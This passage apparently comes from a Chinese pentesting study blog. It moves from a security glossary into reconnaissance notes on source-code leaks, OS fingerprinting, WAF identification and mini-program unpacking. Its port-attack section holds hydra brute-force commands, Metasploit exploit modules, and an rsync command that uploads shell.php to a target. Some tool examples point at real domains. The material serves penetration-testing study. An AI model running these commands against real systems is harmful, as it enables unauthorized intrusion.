Management,即安全信息和事件管理,负责从大量企业安全控件、主机操作系统、企业应用和企业使用的其他软件收集安全日志数据,并进行分析和报告。\n上网行为管理是指帮助互联网用户控制和管理对互联网使用的设备。其包括对网页访问过滤、上网隐私保护、网络应用控制、带宽流量管理、信息收发审计、用户行为分析等。\n蜜罐(Honeypot)是一个包含漏洞的系统,它摸拟一个或多个易受攻击的主机,给黑客提供一个容易攻击的目标。由于蜜罐没有其它任务需要完成,因此所有连接的尝试都应被视为是可疑的。蜜罐的另一个用途是拖延攻击者对其真正目标的攻击,让攻击者在蜜罐上浪费时间。蜜罐类产品包括蜜网、蜜系统、蜜账号等等。\n沙箱沙箱是一种用于安全的运行程序的机制。它常常用来执行那些非可信的程序。非可信程序中的恶意代码对系统的影响将会被限制在沙箱内而不会影响到系统的其它部分。\n沙箱逃逸一种识别沙箱环境,并利用静默、欺骗等技术,绕过沙箱检测的现象\n网络靶场主要是指通过虚拟环境与真实设备相结合,模拟仿真出真实赛博网络空间攻防作战环境,能够支撑攻防演练、安全教育、网络空间作战能力研究和网络武器装备验证试验平台。\n2.技术与服务加密技术加密技术包括两个元素:算法和密钥。算法是将普通的文本与一串数字(密钥)的结合,产生不可理解的密文的步骤,密钥是用来对数据进行编码和解码的一种算法。密钥加密技术的密码体制分为对称密钥体制和非对称密钥体制两种。相应地,对数据加密的技术分为两类,即对称加密(私人密钥加密)和非对称加密(公开密钥加密)。对称加密的加密密钥和解密密钥相同,而非对称加密的加密密钥和解密密钥不同,加密密钥可以公开而解密密钥需要保密。\n黑名单顾名思义,黑名单即不好的名单,凡是在黑名单上的软件、IP地址等,都被认为是非法的。\n白名单与黑名单对应,白名单即“好人”的名单,凡是在白名单上的软件、IP等,都被认为是合法的,可以在计算机上运行。\n内网通俗的讲就是局域网,比如网吧、校园网、公司内部网等都属于此类。查看IP地址,如果是在以下三个范围之内,就说明我们是处于内网之中的:\n10.0.0.0—10.255.255.255\n172.16.0.0—172.31.255.255\n192.168.0.0—192.168.255.255\n外网直接连入Internet(互连网),可以与互连网上的任意一台电脑互相访问。\n边界防御以网络边界为核心的防御模型,以静态规则匹配为基础,强调把所有的安全威胁都挡在外网。\n南北向流量通常指数据中心内外部通信所产生的的流量。\n东西向流量通常指数据中心内部不同主机之间互相通信所产生的的流量。\n规则库网络安全的核心数据库,类似于黑白名单,用于存储大量安全规则,一旦访问行为和规则库完成匹配,则被认为是非法行为。所以有人也将规则库比喻为网络空间的法律。\n下一代网络安全领域经常用到,用于表示产品或者技术有较大幅度的创新,在能力上相对于传统方法有明显的进步,通常缩写为NG(Next Gen)。例如NGFW(下一代防火墙)、NGSOC(下一代安全管理平台)等。\n大数据安全分析区别于传统被动规则匹配的防御模式,以主动收集和分析大数据的方法,找出其中可能存在的安全威胁,因此也称数据驱动安全。该理论最早由奇安信于2015年提出。\nEPP全称Endpoint Protection Platform,翻译为端点保护平台,部署在终端设备上的安全防护解决方案,用于防止针对终端的恶意软件、恶意脚本等安全威胁,通常与EDR进行联动。\nEDR全称Endpoint Detection&Response,即端点检测与响应,通过对端点进行持续检测,同时通过应用程序对操作系统调用等异常行为分析,检测和防护未知威胁,最终达到杀毒软件无法解决未知威胁的目的。\nNDR全称Network Detection&Response,即网络检测与响应,通过对网络侧流量的持续检测和分析,帮助企业增强威胁响应能力,提高网络安全的可见性和威胁免疫力。\n安全可视化指在网络安全领域中的呈现技术,将网络安全加固、检测、防御、响应等过程中的数据和结果转换成图形界面,并通过人机交互的方式进行搜索、加工、汇总等操作的理论、方法和技术。\nNTA网络流量分析(NTA)的概念是Gartner于2013年首次提出的,位列五种检测高级威胁的手段之一。它融合了传统的基于规则的检测技术,以及机器学习和其他高级分析技术,用以检测企业网络中的可疑行为,尤其是失陷后的痕迹。\nMDR全称Managed Detection&Response,即托管检测与响应,依靠基于网络和主机的检测工具来识别恶意模式。此外,这些工具通常还会从防火墙之内的终端收集数据,以便更全面地监控网络活动。\n应急响应通常是指一个组织为了应对各种意外事件的发生所做的准备以及在事件发生后所采取的措施。\nXDR通常指以检测和响应技术为核心的网络安全策略的统称,包括EDR、NDR、MDR等。\n安全运营贯穿产品研发、业务运行、漏洞修复、防护与检测、应急响应等一系列环节,实行系统的管理方法和流程,将各个环节的安全防控作用有机结合,保障整个业务的安全性。\n威胁情报根据Gartner的定义,威胁情报是某种基于证据的知识,包括上下文、机制、标示、含义和能够执行的建议,这些知识与资产所面临已有的或酝酿中的威胁或危害相关,可用于资产相关主体对威胁或危害的响应或处理决策提供信息支持。根据使用对象的不同,威胁情报主要分为人读情报和机读情报。\nTTP主要包括三要素,战术Tactics、技术Techniques和过程Procedures,是描述高级威胁组织及其攻击的重要指标,作为威胁情报的一种重要组成部分,TTP可为安全分析人员提供决策支撑。\nIOC中文名为失陷标示:用以发现内部被APT团伙、木马后门、僵尸网络控制的失陷主机,类型上往往是域名、URL等。目前而言,IOC是应用最为广泛的威胁情报,因为其效果最为直接。一经匹配,则意味着存在已经失陷的主机。\n上下文从文章的上下文引申而来,主要是指某项威胁指标的关联信息,用于实现更加精准的安全匹配和检测。\nSTIXSTIX是一种描述网络威胁信息的结构化语言,能够以标准化和结构化的方式获取更广泛的网络威胁信息,常用于威胁情报的共享与交换,目前在全球范围内使用最为广泛。STIX在定义了8中构件的1.0版本基础上,已经推出了定义了12中构件的2.0版本。\n杀伤链杀伤链最早来源于军事领域,用于描述进攻一方各个阶段的状态。在网络安全领域,这一概念最早由洛克希德-马丁公司提出,英文名称为Kill Chain,也称作网络攻击生命周期,包括侦查追踪、武器构建、载荷投递、漏洞利用、安装植入、命令控制、目标达成等七个阶段,来识别和防止入侵。\nATT&CK可以简单理解为描述攻击者技战术的知识库。MITRE在2013年推出了该模型,它是根据真实的观察数据来描述和分类对抗行为。ATT&CK将已知攻击者行为转换为结构化列表,将这些已知的行为汇总成战术和技术,并通过几个矩阵以及结构化威胁信息表达式(STIX)、指标信息的可信自动化交换(TAXII)来表示。\n钻石模型钻石模型在各个领域的应用都十分广泛,在网络安全领域,钻石模型首次建立了一种将科学原理应用于入侵分析的正式方法:可衡量、可测试和可重复——提供了一个对攻击活动进行记录、(信息)合成、关联的简单、正式和全面的方法。这种科学的方法和简单性可以改善分析的效率、效能和准确性。\n关联分析又称关联挖掘,就是在交易数据、关系数据或其他信息载体中,查找存在于项目集合或对象集合之间的频繁模式、关联、相关性或因果结构。在网络安全领域主要是指将不同维度、类型的安全数据进行关联挖掘,找出其中潜在的入侵行为。\n态势感知是一种基于环境的、动态、整体地洞悉安全风险的能力,是以安全大数据为基础,从全局视角提升对安全威胁的发现识别、理解分析、响应处置能力的一种方式,最终是为了决策与行动,是安全能力的落地。\n探针也叫作网络安全探针或者安全探针,可以简单理解为赛博世界的摄像头,部署在网络拓扑的关键节点上,用于收集和分析流量和日志,发现异常行为,并对可能到来的攻击发出预警。\n网络空间测绘用搜索引擎技术来提供交互,让人们可以方便的搜索到网络空间上的设备。相对于现实中使用的地图,用各种测绘方法描述和标注地理位置,用主动或被动探测的方法,来绘制网络空间上设备的网络节点和网络连接关系图,及各设备的画像。\nSOAR全称Security Orchestration ,Automation and Response,即安全编排自动化与响应,主要通过剧本化、流程化的指令,对入侵行为采取的一系列自动化或者半自动化响应处置动作。\nUEBA全称User and Entity Behavior Analytics,即用户实体行为分析,一般通过大数据分析的方法,分析用户以及IT实体的行为,从而判断是否存在非法行为。\n内存保护内存保护是操作系统对电脑上的内存进行访问权限管理的一个机制。内存保护的主要目的是防止某个进程去访问不是操作系统配置给它的寻址空间。\nRASP全称Runtime application self-protection,即应用运行时自我保护。在2014年时由Gartner提出,它是一种新型应用安全保护技术,它将保护程序像疫苗一样注入到应用程序中,应用程序融为一体,能实时检测和阻断安全攻击,使应用程序具备自我保护能力,当应用程序遭受到实际攻击伤害,就可以自动对其进行防御,而不需要进行人工干预。\n包检测对于流量包、数据包进行拆包、检测的行为。\n深度包检测Deep Packet Inspection,缩写为DPI,又称完全数据包探测(complete packet inspection)或信息萃取(Information eXtraction,IX),是一种计算机网络数据包过滤技术,用来检查通过检测点之数据包的数据部分(亦可能包含其标头),以搜索不匹配规范之协议、病毒、垃圾邮件、入侵迹象。\n全流量检测全流量主要体现在三个“全”上,即全流量采集与保存,全行为分析以及全流量回溯。通过全流量分析设备,实现网络全流量采集与保存、全行为分析与全流量回溯,并提取网络元数据上传到大数据分析平台实现更加丰富的功能。\n元数据元数据(Metadata),又称中介数据、中继数据,为描述数据的数据(data about data),主要是描述数据属性(property)的信息,用来支持如指示存储位置、历史数据、资源查找、文件记录等功能。\n欺骗检测以构造虚假目标来欺骗并诱捕攻击者,从而达到延误攻击节奏,检测和分析攻击行为的目的。\n微隔离顾名思义是细粒度更小的网络隔离技术,能够应对传统环境、虚拟化环境、混合云环境、容器环境下对于东西向流量隔离的需求,重点用于阻止攻击者进入企业数据中心网络内部后的横向平移。\n逆向常见于逆向工程或者逆向分析,简单而言,一切从产品中提取原理及设计信息并应用于再造及改进的行为,都是逆向工程。在网络安全中,更多的是调查取证、恶意软件分析等。\n无代理安全在终端安全或者虚拟化安全防护中,往往需要在每一台主机或者虚机上安装agent(代理程序)来实现,这种方式往往需要消耗大量的资源。而无代理安全则不用安装agent,可以减少大量的部署运维工作,提升管理效率。\nCWPP全称Cloud Workload Protection Platform,即云工作负载保护平台,主要是指对云上应用和工作负载(包括虚拟主机和容器主机上的工作负载)进行保护的技术,实现了比过去更加细粒度的防护,是现阶段云上安全的最后一道防线。\nCSPM云安全配置管理,能够对基础设施安全配置进行分析与管理。这些安全配置包括账号特权、网络和存储配置、以及安全配置(如加密设置)。如果发现配置不合规,CSPM会采取行动进行修正。\nCASB全称Cloud Access Security Broker,即云端接入安全代理。作为部署在客户和云服务商之间的安全策略控制点,是在访问基于云的资源时企业实施的安全策略。\n防爬意为防爬虫,主要是指防止网络爬虫从自身网站中爬取信息。网络爬虫是一种按照一定的规则,自动地抓取网络信息的程序或者脚本。\n安全资源池安全资源池是多种安全产品虚拟化的集合,涵盖了服务器终端、网络、业务、数据等多种安全能力。\nIAM全称为Identity and Access Management,即身份与访问管理,经常也被叫做身份认证。\n4A即认证Authentication、授权Authorization、账号Account、审计Audit,即融合统一用户账号管理、统一认证管理、统一授权管理和统一安全审计四要素后的解决方案将涵盖单点登录(SSO)等安全功能。\nAccessControllist(ACL)\n访问控制列表。\n多因子认证主要区别于单一口令认证的方式,要通过两种以上的认证机制之后,才能得到授权,使用计算机资源。例如,用户要输入PIN码,插入银行卡,最后再经指纹比对,通过这三种认证方式,才能获得授权。这种认证方式可以降低单一口令失窃的风险,提高安全性。\n特权账户管理简称PAM。由于特权账户往往拥有很高的权限,因此一旦失窃或被滥用,会给机构带来非常大的网络安全风险。所以,特权账户管理往往在显得十分重要。其主要原则有:杜绝特权凭证共享、为特权使用赋以个人责任、为日常管理实现最小权限访问模型、对这些凭证执行的活动实现审计功能。\n零信任零信任并不是不信任,而是作为一种新的身份认证和访问授权理念,不再以网络边界来划定可信或者不可信,而是默认不相信任何人、网络以及设备,采取动态认证和授权的方式,把访问者所带来的的网络安全风险降到最低。\nSDP全称Software Defined Perimeter,即软件定义边界,由云安全联盟基于零信任网络提出,是围绕某个应用或某一组应用创建的基于身份和上下文的逻辑访问边界。\nSecurity as a Service安全即服务,通常可理解为以SaaS的方式,将安全能力交付给客户。\n同态加密同态加密是一类具有特殊自然属性的加密方法,此概念是Rivest等人在20世纪70年代首先提出的,与一般加密算法相比,同态加密除了能实现基本的加密操作之外,还能实现密文间的多种计算功能。\n量子计算是一种遵循量子力学规律调控量子信息单元进行计算的新型计算模式,目前已经逐渐应用于加密和通信传输。\n可信计算是一项由可信计算组(可信计算集群,前称为TCPA)推动和开发的技术。可信计算是在计算和通信系统中广泛使用基于硬件安全模块支持下的可信计算平台,以提高系统整体的安全性。\n拟态防御核心实现是一种基于网络空间内生安全机理的动态异构冗余构造(Dynamic Heterogeneous Redundancy,DHR),为应对网络空间中基于未知漏洞、后门或病毒木马等的未知威胁,提供具有普适创新意义的防御理论和方法。\n区块链英文名为blockchain,它是一个共享数据库,存储于其中的数据或信息,具有“不可伪造”、“全程留痕”、“可以追溯”、“公开透明”、“集体维护”等特征。\n远程浏览器鉴于浏览器往往成为黑客攻击的入口,因此将浏览器部署在远程的一个“浏览器服务器池”中。这样一来,这些浏览器所在的服务器跟用户所在环境中的终端和网络是隔离的,从而使得客户所在网络的暴露面大大降低。这种服务也类似于虚拟桌面、云手机等产品。\n云手机云手机采用全新的VMI(Virtual Mobile Infrastructure虚拟移动设施,与PC云桌面类似)技术,为员工提供一个独立的移动设备安全虚拟手机,业务应用和数据仅在服务端运行和存储,个人终端上仅做加密流媒体呈现和触控,从而有效保障企业数据的安全性。\n风控也称大数据风控,是指利用大数据分析的方法判断业务可能存在的安全风险,目前该技术主要用于金融信贷领域,防止坏账的发生。\n渗透测试为了证明网络防御按照预期计划正常运行而提供的一种机制,通常会邀请专业公司的攻击团队,按照一定的规则攻击既定目标,从而找出其中存在的漏洞或者其他安全隐患,并出具测试报告和整改建议。其目的在于不断提升系统的安全性。\n安全众测借助众多白帽子的力量,针对目标系统在规定时间内进行漏洞悬赏测试。您在收到有效的漏洞后,按漏洞风险等级给予白帽子一定的奖励。通常情况下是按漏洞付费,性价比较高。同时,不同白帽子的技能研究方向可能不同,在进行测试的时候更为全面。\n内生安全由奇安信集团董事长齐向东在2019北京网络安全大会上首次提出,指的是不断从信息化系统内生长出的安全能力,能伴随业务的增长而持续提升,持续保证业务安全。内生安全有三个特性,即依靠信息化系统与安全系统的聚合、业务数据与安全数据的聚合以及IT人才和安全人才的聚合,从信息化系统的内部,不断长出自适应、自主和自成长的安全能力。\n内生安全框架为推动内生安全的落地,奇安信推出了内生安全框架。该框架从顶层视角出发,支撑各行业的建设模式从“局部整改外挂式”,走向“深度融合体系化”;从工程实现的角度,将安全需求分步实施,逐步建成面向未来的安全体系;内生安全框架能够输出实战化、体系化、常态化的安全能力,构建出动态防御、主动防御、纵深防御、精准防护、整体防控、联防联控的网络安全防御体系。内生安全框架包含了总结出了29个安全区域场景和79类安全组件。\nPPDR英文全称为Policy Protection Detection Response,翻译为策略、防护、检测和响应。主要以安全策略为核心,通过一致性检查、流量统计、异常分析、模式匹配以及基于应用、目标、主机、网络的入侵检查等方法进行安全漏洞检测。\nCARTA全称为Continuous Adaptive Riskand Trust Assessment,即持续自适应风险与信任评估旨在通过动态智能分析来评估用户行为,放弃追求完美的安全,不能要求零风险,不要求100%信任,寻求一种0和1之间的风险与信任的平衡。CARTA战略是一个庞大的体系,其包括大数据、AI、机器学习、自动化、行为分析、威胁检测、安全防护、安全评估等方面。\nSASE全称为Secure Access Service Edge,即安全访问服务边缘,Gartner将其定义为一种基于实体的身份、实时上下文、企业安全/合规策略,以及在整个会话中持续评估风险/信任的服务。实体的身份可与人员、人员组(分支办公室)、设备、应用、服务、物联网系统或边缘计算场地相关联。\nSDL全称为Security Development Lifecycle,翻译为安全开发生命周期,是一个帮助开发人员构建更安全的软件和解决安全合规要求的同时降低开发成本的软件开发过程,最早由微软提出。\nDevSecOps全称为Development Security Operations,可翻译为安全开发与运维。它强调在DevOps计划刚启动时就要邀请安全团队来确保信息的安全性,制定自动安全防护计划,并贯穿始终,实现持续IT防护。\n代码审计顾名思义就是检查源代码中的安全缺陷,检查程序源代码是否存在安全隐患,或者有编码不规范的地方,通过自动化工具或者人工审查的方式,对程序源代码逐条进行检查和分析,发现这些源代码缺陷引发的安全漏洞,并提供代码修订措施和建议。\nNTLM验证NTLM(NT LAN Manager)是微软公司开发的一种身份验证机制,从NT4开始就一直使用,主要用于本地的帐号管理。\nMTTD平均检测时间。\nMTTR平均响应时间。\nCVE全称Common Vulnerabilities and Exposures,由于安全机构Mitre维护一个国际通用的漏洞唯一编号方案,已经被安全业界广泛接受的标准。\n软件加壳“壳”是一段专门负责保护软件不被非法修改或反编译的程序。它们一般都是先于程序运行,拿到控制权,然后完成它们保护软件的任务。经过加壳的软件在跟踪时已无法看到其真实的十六进制代码,因此可以起到保护软件的目的。\nCNVD国家信息安全漏洞共享平台,由国家计算机应急响应中心CNCERT维护,主要负责统一收集、管理国内的漏洞信息,其发布的漏洞编号前缀也为CNVD。\n数据脱敏数据脱敏是指对某些敏感信息通过脱敏规则进行数据的变形,实现敏感隐私数据的可靠保护,主要用于数据的共享和交易等涉及大范围数据流动的场景。\nGDPR《通用数据保护条例》(General Data Protection Regulation,简称GDPR)为欧洲联盟的条例,前身是欧盟在1995年制定的《计算机数据保护法》。\nCCPA美国加利福尼亚州消费者隐私保护法案。\nSRC即Security Response Center,中文名为安全应急响应中心,主要职责为挖掘并公开收集机构存在的漏洞和其他安全隐患。\nCISO有时也被叫做CSO,即首席信息安全官,为机构的主要安全负责人。\nIPC管道为了更好地控制和处理不同进程之间的通信和数据交换,系统会通过一个特殊的连接管道来调度整个进程。\nSYN包TCP连接的第一个包,非常小的一种数据包。SYN攻击包括大量此类的包,由于这些包看上去来自实际不存在的站点,因此无法有效进行处理。\nIPC$是共享“命名管道”的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。\nshell指的是一种命令指行环境,是系统与用户的交换方式界面。简单来说,就是系统与用户“沟通”的环境。我们平时常用到的DOS,就是一个shell。(Windows2000是cmd.exe)\nARP地址解析协议(Address Resolution Protocol)此协议将网络地址映射到硬件地址。\n","tags":["小迪"]},{"title":"03信息打点","url":"/2024/04/14/03%E4%BF%A1%E6%81%AF%E6%89%93%E7%82%B9/","content":"信息打点#知识点1.打点-Web架构-语言&中间件&数据库&系统等2.打点-Web源码-CMS开元&闭源售卖&自主研发等打点-Web源码获取-泄露安全&资源监控&其他等打点-Web域名-子域名&相似域名&反查域名&旁注等#信息点基础信息,系统信息,应用信息,防护信息,人员信息,其他信息等#技术点CMS识别,端口扫描,CDN绕过,源码获取,子域名查询,WAF识别,负载均衡识别等\n\n\n判断系统:\n\n更改大小写,访问正常可能为Windows;访问不一样可能为Linux(判定结果不一定百分百正确)\n不要在参数后面加(?后的),要在文件上加(例如:index.phP)不实用\n\nTTL值判定主机的操作系统\n\n\n\n\n\n操作系统\nTTL\n\n\n\nWindows NT/2000\n128\n\n\nWindows 95/98\n32\n\n\nUnix\n255\n\n\nLinux\n64\n\n\nWindows 7\n64\n\n\n但是当用户修改了TTL值的时候,就会误导我们的判断\n\n修改本机电脑上面的默认TTL值\nTTL值在注册表的位置是:HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\n其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改DefaultTTL里面的TTL默认值,但不能大于十进制的255。\n\n\n信息搜集\n开发注释\n\n无法查看源代码(禁用JS或者Ctrl+U或者在网页url前面加view-source:)\n\n抓包、看包\n\nrobots协议:/robots.txt\nRobots协议(也称爬虫协议,机器人协议等)的全称是“网络爬虫排除协议”,网站通过Robots协议告诉搜索引擎哪些页面可以抓取,哪些页面不能抓取。\n\nphps源码:/index.phps\nphps文件就是php的源代码文件,通常用于提供给用户(访问者)直接通过Web浏览器查看php代码的内容。\n因为用户无法直接通过Web浏览器“看到”php文件的内容,所以需要用phps文件代替。\n\n源码泄露:/www.zip /www.tar.gz\n\nGit源码泄露:/.git/index.php /.git/index\n漏洞利用工具:GitHack\ngithub项目地址:https://github.com/lijiejie/GitHack\n用法示例:\nGitHack.py http://www.openssl.org/.git/\n\n修复建议:删除.git目录或者修改中间件配置进行对.git隐藏文件夹的访问。\n\nSVN泄露:/.svn/entries\n使用svn checkout后,项目目录下会生成隐藏的.svn文件夹(Linux上用ls命令看不到,要用ls -al命令)。\nsvn1.6及以前版本会在项目的每个文件夹下都生成一个.svn文件夹,里面包含了所有文件的备份\nsvn1.7及以后版本则只在项目根目录生成一个.svn文件夹,里面的pristine文件夹里包含了整个项目的所有文件备份\ngithub项目地址:https://github.com/callmefeifei/SvnHack\nhttps://github.com/admintony/svnExploit\n\n备份文件:\n\n/index.php.swpb\n\n/index.php.bak\n\n/backup.sql\n\n.old\n\n.temp\n\n\nvim中的swp即swap文件,在编辑文件时产生,它是隐藏文件。这个文件是一个临时交换文件,用来备份缓冲区中的内容。如果原文件名是data,那么swp文件名就是.data.swp。如果文件正常退出,则此文件自动删除。需要注意的是如果你并没有对文件进行修改,而只是读取文件,是不会产生swp文件的。\n漏洞利用:直接访问.swp文件,下载回来后删掉末尾的.swp,获得源码文件。\n\ncookie泄露\n\n域名解析\nA 记录:\n最基本的记录类型,也称为地址记录,为域名或子域名提供 IPv4 地址。该记录将域名指向 IP 地址。\nAAAA 记录:\n将主机名映射到 128 位 IPv6 地址。长期以来,32位IPv4地址用于识别互联网上的计算机。但由于IPv4的短缺,IPv6被创建。四个“A”(AAAA)是助记符,表示IPv6比IPv4大四倍。\nCNAME 记录:\n也称为规范名称记录,创建一个域名的别名。别名域或子域获取原始域的所有 DNS 记录,通常用于将子域与现有主域相关联。\nMX 记录:\n也称为邮件交换记录,告知哪些邮件交换服务器负责将电子邮件路由到正确的目标或邮件服务器。\nNS 记录:\n也称为名称服务器记录,指向有权管理和发布该域的 DNS 记录的名称服务器。这些 DNS 服务器在处理与该域相关的任何查询方面具有权威性。\nPTR 记录:\n也称为指针记录,将 IPv4 或 IPv6 地址指向其计算机的主机名。它通过将 IP 地址指向服务器的主机名来提供反向 DNS 记录或 rDNS 记录。\nSRV 记录:\n也称为服务记录,指示域运行的特定服务和端口号。可扩展消息传递和状态协议 (XMPP) 和会话初始协议 (SIP) 等互联网协议通常需要 SRV 记录。\nSOA 记录:\n也称为授权机构起始记录,提供有关域的基本信息,例如标识域权威名称服务器的主节点、域管理员的电子邮件、DNS 区域的序列号等。\n==TXT 记录:==\n允许网站管理员在 DNS 记录中插入任意文本。\nCAA 记录:\n也称为证书颁发机构授权记录,反映了有关为域颁发数字证书的公共策略。如果您的域不存在 CAA 记录,则任何证书颁发机构都可以颁发 SSL 证书。但是,使用此记录,您可以限制哪个 CA 有权为您的域颁发数字凭据。\nDS 记录:\n也称为委派签名者记录,由公钥的唯一字符及其相关元数据(如密钥标记、算法、摘要类型和称为摘要的加密哈希值)组成。\nDNSKEY 记录:\n也称为 DNS 密钥记录,包含公共签名密钥,如区域签名密钥 (ZSK) 和密钥签名密钥 (KSK)。DS 和 DNSKEY 记录验证 DNS 服务器返回的 DNS 记录的真实性。\n\n有的会有技术文档泄露信息\n\nphp探针:/tz.php\n\nmdb文件:/db/db.mdb\nmdb文件是早期asp+access架构的数据库文件 直接查看url路径添加/db/db.mdb下载文件\n\nJava源码泄露:WEB-INF/web.xml和/WEB-INF/classes/泄露\nWEB-INF是Java的WEB应用的安全目录,如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问。\nWEB-INF 主要包含一下文件或目录:\nWEB-INF/web.xml : Web应用程序配置文件, 描述了servlet和其他的应用组件配置及命名规则.WEB-INF/database.properties : 数据库配置文件WEB-INF/classes/ : 一般用来存放Java类文件(.class)WEB-INF/lib/ : 用来存放打包好的库(.jar),放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件WEB-INF/src/ : 用来放源代码(.asp和.php等)\n\n通过找到 web.xml 文件,推断 class 文件的路径,最后直接 class 文件,再通过反编译 class 文件,得到网站源码。\n\n御剑扫目录\n\nDS_Store文件泄露\n.DS_Store是Mac下Finder用来保存如何展示 文件/文件夹 的数据文件,每个文件夹下对应一个。如果将.DS_Store上传部署到服务器,可能造成文件目录结构泄漏,特别是备份文件、源代码文件。\n漏洞利用工具:\ngithub项目地址:https://github.com/lijiejie/ds_store_exp\n用法示例:\nds_store_exp.py http://hd.zj.qq.com/themes/galaxyw/.DS_Store\n\nGitHub源码泄露\nhttps://github.com/search?q=smtp+user+@qq.com&type=code\n\nComposer.json泄露\n(PHP特性)\n\nhg源码泄露\nMercurial 是一种轻量级分布式版本控制系统,使用 hg init的时候会生成.hg。\n漏洞利用工具:dvcs-ripper\ngithub项目地址:https://github.com/kost/dvcs-ripper\n用法示例:\nrip-hg.pl -v -u http://www.example.com/.hg/\n\nCVS泄露\nCVS是一个C/S系统,多个开发人员通过一个中心版本控制系统来记录文件版本,从而达到保证文件同步的目的。主要是针对 CVS/Root以及CVS/Entries目录,直接就可以看到泄露的信息。\nhttp://url/CVS/Root 返回根信息http://url/CVS/Entries 返回所有文件的结构\n\n漏洞利用工具:dvcs-ripper\ngithub项目地址:https://github.com/kost/dvcs-ripper.git\n运行示例:\nrip-cvs.pl -v -u http://www.example.com/CVS/\n\nBazaar/bzr泄露\nbzr也是个版本控制工具, 虽然不是很热门, 但它也是多平台支持, 并且有不错的图形界面。\n运行示例:\nrip-bzr.pl -v -u http://www.example.com/.bzr/\n\n端口常见的端口以及入侵方式\n\n攻击方向21(FTP)默认端口:20(数据端口);21(控制端口);69(tftp小型文件传输协议)\n爆破:\n#anonymous匿名登陆#弱口令 用户名:FTP 密码:FTP或为空或爆破hydra -l FTP -P top10000.txt ftp://192.168.115.136\n\n嗅探:\nEttercap(内网神器)\nSRE实战 互联网时代守护先锋,助力企业售后服务体系运筹帷幄!一键直达领取阿里云限量特价优惠。\n或msf模块\nuse auxiliary/sniffer/psnuffle\n\n后门:\n在特定版本的vsftpd服务器中,被人恶意植入代码,当用户名以”:)”为结尾\n服务器就会在6200端口监听,并且能够执行任意代码(root)\nuse exploit/unix/ftp/vsftpd_234_backdoor\n\n22(SSH)爆破:\n#可以采用上边那种或以下这种写法hydra -l root -P top10000.txt 192.168.115.136 ssh -v \n\n53(DNS)内网使用Ettercap进行DNS劫持,钓鱼攻击\n公网的话要能控制运营商网关\n139(Smb)爆破:\nhydra -l root -P top10000.txt 192.168.115.136 smb -v\n\n远程代码执行:\nCVE-2015-0240\nCVE-2017-7494\n443(https)检测:\n心脏滴血在线检测\nnmap -sV -p 8443 --script ssl-heartbleed 192.168.115.136\n\n利用:\nuse auxiliary/scanner/ssl/openssl_heartbleed\n\n873(Rsync)未授权访问:\nrsync -avz ip::wwwroot/目录 /root/ #下载目标主机上的文件到本机root目录rsync -avz shell.php 192.168.3.xxx::wwwroot #上传文件\n\n2049(NFS)未授权访问\n列出导出文件夹:\nuse auxiliary/scanner/nfs/nfsmount\n\n6379(Redis)未授权访问:\n#没有密码,直接连接redis-cli -h 192.168.115.136#Redis命令>info #查看主机信息\n\nRedis未授权访问总结(1)\nRedis未授权访问总结(2)\n7001/7002(weblogic)反序列化:CVE-2017-3248\nWAF识别本文转载自微信公众号:潇湘信安。已获得原作者授权,转载请注明出处\n原文链接:https://mp.weixin.qq.com/s/3uUZKryCufQ_HcuMc8ZgQQ\nWAF识别工具WAFW00F\nWAF识别工具IDENTYWAF\nD盾\n云锁WAF\n\n云锁防火墙\n\nUPUPW安全防护\n宝塔网站防火墙\n网防G01\n护卫神\n网站安全狗\n智创防火墙\n360主机卫士或360webscan\n西数WTS-WAF\nNaxsi WAF\n腾讯云\n腾讯宙斯盾\n百度云\n华为云\n网宿云\n创宇盾\n玄武盾\n\n阿里云盾\n360网站卫士\n奇安信网站卫士\n安域云WAF\n铱讯WAF\n长亭SafeLine\n长亭雷池\n安恒明御WAF\nF5 BIG-IP\n\n\nMod_Security\nOpenRASP\ndotDefender\n红网云WAF\n云网盾\n负载均衡识别分为两大类:\n\n广域网负载均衡他的原理就是DNS,简单的方法就是使用DNS轮询来进行负载均衡。当你访问一个域名时,同一个域名会被解析成多个A记录解析到多个ip地址上。\n服务器负载均衡基于web的服务,经常使用的是nginx、apache这种应用层的负载均衡。当然也可以使用一些负载均衡设备去实现。\n\n识别工具:kali上的ldb\nldb www.baidu.com\n\n==※==基本上大站去扫描的话,他们要么是广域网的要么是服务器的负载均衡,即使扫描到同一个域名只解析到一个ip地址,这个地址对应的设备也基本是负载均衡设备,而不是他真实的服务器\n防火墙识别nmap\naFa攻防实验室防火墙识别(用处不大)\nAPP&小程序\nAppInfoScanner:内在提取资产\n资源提取:比如涉及到的图片、配置性文件\nXposed&JustTrustMe:解决加壳、有检测的防抓包、防调试的APP上的数据抓取\n\n小程序源码获取目录↓\n/data/data/com.tencent.mm/MicroMsg/{{一串32位的16进制字符串名文件夹}}/appbrand/pkg/\n\n有xxxxx.wxapkg类型的文件\n\n想要进入到上面这个目录,需要使用到第三方的文件管理器,且安卓需要取得root权限\n\n\nGitHub项目:wxappUnpacker\n进入脚本目录后\nnpm install esprimanpm install css-treenpm install cssbeautifynpm install vm2npm install uglify-esnpm install js-beautify\n\nnode wuWxapkg.js [-d] <files...> //files 就是你想要反编译的文件名,注意路径是反斜杠\\\n\n在微信开发者工具新增项目即可打开\n\n如果运行出现了点问题,可以试试点击开发者工具 详情 去掉 es6转es5 的勾,勾上不校验安全域名\n勾选了还是无法运行?那么请在详情里把基础版本库调低至1.8左右,再试试\n出现找不到某些文件的情况怎么办?我只能告诉:删!删!删!app.json里面,提示找不到那个文件,就将pages下注册的该页面语句暂时删除掉。删到可以运行为止\n\n","tags":["小迪"]},{"title":"04CDN绕过","url":"/2024/04/14/04CDN%E7%BB%95%E8%BF%87/","content":"CDN绕过CDN知识-工作原理及阻碍CDN配置-域名&区域&类型CDN绕过-靠谱十余种技战法CDN绑定-HOSTS绑定指向访问\n\n前置知识全称Content Delivery 